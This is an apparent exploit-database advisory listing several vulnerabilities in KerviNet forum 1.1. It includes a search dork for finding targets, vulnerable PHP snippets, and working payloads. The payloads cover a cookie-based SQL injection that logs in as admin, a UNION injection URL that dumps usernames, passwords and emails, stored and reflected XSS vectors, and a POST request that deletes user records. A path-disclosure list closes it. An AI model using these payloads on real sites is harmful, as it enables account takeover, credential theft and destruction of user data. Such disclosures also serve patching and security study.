kervinet forum 1.1 - Multiple Vulnerabilities


Author:

eLwaux

Type:

webapps

Platform:

PHP

Published:

2009-07-01

dork: "Copyright KerviNet"
eLwaux(c) 20.06.2009

## ## ## ##
Blind SQLinj
/index.php
-------------------------------------------------------------------------------------------------
if($_COOKIE['user_enter']=="auto") {
$enter_login=$_COOKIE['enter_login'];
$enter_parol=$_COOKIE['enter_parol'];
$mysql->query("SELECT name, pass, status FROM users WHERE name =
'".$enter_login."' AND pass = '".$enter_parol."'");
-------------------------------------------------------------------------------------------------
exploit:
  COOKIE: user_enter=auto
  COOKIE: enter_login = abc
  COOKIE: enter_parol = ' or name = (select name from users where
id_user=1) and '1'='1';
  sqlQuery: SELECT name, pass, status FROM users WHERE name = 'abc'
AND pass = '' or name = (select name from users where id_user<10 limit
1)
и вы автоматом зайдете под админом, даже не зная его имени (:



## ## ## ##
SQLinj
/message.php
-------------------------------------------------------------------------------------------------
9:  $topic=$_GET['topic'];
18: if($topic) {
69: $mysql->query("SELECT name, viewing, voting, status, top_status,
id_forum FROM topics WHERE id_topic = ".$topic);
exploit:/message.php?topic=-1+union+select+1,concat_ws(0x3a,id_user,name,pass,email),3,4,5,6+from+users
-------------------------------------------------------------------------------------------------


## ## ## ##
SiXSS
/message.php
exploit:/message.php?topic=-1+union+select+1,'{XSS}',3,4,5,6+from+users


## ## ## ##
aXSS
/add_voting.php
-------------------------------------------------------------------------------------------------
22: $topic=$_GET['topic'];
61: if($topic) {
66: 	 $forum_edit->add_voting($time, $topic, $v_vopros, $variants);
74: }

function add_voting($time, $topic, $v_vopros, $variants) {
global $user;
global $user_ip;
if($user) {
global $mysql;
$mysql->query("UPDATE topics SET voting = 1 WHERE id_topic = ".$topic);
$mysql->query("INSERT INTO v_name VALUES (0, '".$v_vopros."', ".$topic.")");
$id_vname=mysql_insert_id();
for($i=0; $i<count($variants); $i+=1) {
$vr_nom=$i+1;
$mysql->query("INSERT INTO v_variants VALUES (".$vr_nom.",
'".$variants[$i]."', ".$id_vname.")");
}
}
return $id_vname;
}
-------------------------------------------------------------------------------------------------

exploit:/add_voting.php?topic=1
   POST: add_voting = ok_add
   POST: v_vopros = v
   POST: v_variant1 = {XSS}
   POST: v_variant2 = v2


## ## ## ##
users deleating
/admin/edit_user.php
-------------------------------------------------------------------------------------------------
$del_user_id=$_POST['del_user_id'];
$mysql->query("DELETE FROM users WHERE id_user = ".$del_user_id);
-------------------------------------------------------------------------------------------------
exploit:
   POST: del_user_id=(select user_id from users limit 1)


## ## ## ##
Path Disclosure
-------------------------------------------------------------------------------------------------
/include_files/voting_diagram.php
/include_files/voting.php
/include_files/topics_search.php
/include_files/topics_list.php
/include_files/top_part.php
/include_files/quick_search.php
/include_files/quick_reply.php
/include_files/moder_menu.php
/include_files/messages_list.php
/include_files/menu.php
/include_files/head.php
/include_files/forums_list.php
/include_files/forum_statistics.php
/include_files/forum_info.php
/include_files/birthday.php
/admin/head.php
-------------------------------------------------------------------------------------------------

# milw0rm.com [2009-07-01]